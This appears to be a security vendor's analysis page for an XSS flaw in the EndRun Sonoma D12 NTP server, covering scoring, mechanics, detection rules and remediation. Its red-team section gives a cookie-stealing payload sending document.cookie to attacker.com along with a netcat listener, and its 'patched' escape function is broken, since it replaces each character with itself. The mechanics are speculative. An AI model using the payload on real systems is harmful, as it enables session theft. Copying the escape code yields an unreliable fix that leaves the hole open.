CVE-2025-60967
Executive Summary
CVE-2025-60967 is a Cross-Site Scripting (XSS) vulnerability discovered in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0076-000 Ver 4.00. This flaw allows an unauthenticated attacker to inject malicious scripts into the web interface of the device, potentially leading to session hijacking, credential theft, or further compromise of the network time infrastructure. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. Given the critical role of NTP servers in network synchronization, exploitation could disrupt time-sensitive operations and enable lateral movement within an organization.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which likely indicates incomplete or missing scoring data. Based on the nature of the vulnerability (XSS) and the device’s network exposure, a reasonable estimated CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Score: 6.1 – Medium).
- Attack Vector: Network – the web interface is accessible over the network.
- Attack Complexity: Low – no special conditions required.
- Privileges Required: None – unauthenticated access to the vulnerable page.
- User Interaction: Required – victim must click a crafted link or visit a malicious page.
- Scope: Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality/Integrity Impact: Low – limited data exposure or manipulation.
- Availability Impact: None – no direct denial of service.
Threat Level: Medium. While XSS is a common vulnerability, the lack of a patch and the device’s role in critical infrastructure elevates the risk. Attackers could use this as an entry point to pivot to more sensitive systems.
Deep Dive & Mechanics
The Sonoma D12 NTP server provides a web-based management interface for configuration and monitoring. The XSS vulnerability likely resides in an input field or parameter that is not properly sanitized before being reflected in the response. For example, a GET or POST parameter such as hostname, ntp_server, or syslog_server may accept arbitrary JavaScript without encoding.
When an attacker crafts a URL containing a malicious script (e.g., <script>alert('XSS')</script>), the server reflects it in the HTML output without proper escaping. If an authenticated administrator clicks the link, the script executes in the context of the web interface, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
The device runs a custom embedded web server (likely based on a lightweight HTTP daemon). The firmware version 4.00 is the only confirmed vulnerable version, but earlier builds may also be affected. No patch has been released by EndRun Technologies as of this analysis.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern would resemble:
// Vulnerable: Direct reflection of user input
app.get('/status', (req, res) => {
let hostname = req.query.hostname;
res.send('<html><body>Hostname: ' + hostname + '</body></html>');
});
A patched version would sanitize the input using encoding or a Content Security Policy (CSP):
// Patched: Input sanitization
const escapeHtml = (unsafe) => {
return unsafe.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
};
app.get('/status', (req, res) => {
let hostname = escapeHtml(req.query.hostname);
res.send('<html><body>Hostname: ' + hostname + '</body></html>');
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Sonoma D12 device with firmware 4.00 (or emulated environment).
- Network access to the web interface (default port 80 or 443).
- A victim user with administrative privileges.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
hostnamein the status page). - Craft a malicious URL:
http://<target>/status?hostname=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to an authenticated admin via email or social engineering.
- When the admin clicks, the script executes and exfiltrates the session cookie to the attacker’s server.
- Use the stolen cookie to hijack the admin session and modify NTP settings, disrupt time sync, or deploy further attacks.
Lab Setup:
- Use a virtualized instance of the firmware (if available) or a physical device in an isolated network.
- Set up a listener on the attacker machine:
nc -lvnp 80or a simple HTTP server. - Monitor incoming requests for exfiltrated data.
Blue Team
Detection:
- Monitor web logs for unusual parameters containing
<script>,onerror, orjavascript:patterns. - Look for outbound connections from the NTP server to unknown IPs on port 80/443.
- Use network traffic analysis to detect base64-encoded payloads in HTTP requests.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block XSS patterns.
- Restrict access to the management interface to trusted IPs only.
- Apply input validation and output encoding if custom code is used.
Indicators of Compromise (IOCs)
Network:
- HTTP requests containing
<script>,onload=,onerror=, orjavascript:in parameters. - Outbound connections from the NTP server to suspicious IPs on ports 80/443.
- Unusual
Refererheaders pointing to the NTP server’s web interface.
- HTTP requests containing
Host:
- Modified configuration files (e.g.,
ntp.conf) with unauthorized NTP servers. - Unexpected processes or scripts running on the device (if shell access is possible).
- Log entries showing repeated failed login attempts followed by successful session hijacking.
- Modified configuration files (e.g.,
File:
- Temporary files in
/tmpor web root containing injected JavaScript. - Modified HTML templates or CGI scripts.
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2025_60967_XSS_Detection {
meta:
description = "Detects XSS payloads targeting EndRun Sonoma D12 NTP server"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60967"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: XSS Attempt Against EndRun Sonoma D12 NTP Server
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS payloads in HTTP requests to Sonoma D12 web interface
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin tools (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60967 XSS Attempt on EndRun Sonoma D12"; flow:to_server,established; content:"GET"; http_method; content:"/status"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the NTP server behind a firewall and restrict web interface access to a management VLAN.
- Disable unnecessary services: If the web interface is not required, disable it via device configuration.
- Monitor logs: Enable detailed logging and review for suspicious activity.
Long-Term Fix:
- Contact EndRun Technologies for a firmware patch. If none is available, consider replacing the device with a patched alternative.
- Implement a reverse proxy with WAF capabilities in front of the device to filter XSS payloads.
- Apply the principle of least privilege: ensure only authorized administrators can access the web interface.
Workaround:
- Use SSH or serial console for management instead of the web interface.
- If the web interface must remain active, enforce HTTPS and implement client certificate authentication.
Valters IT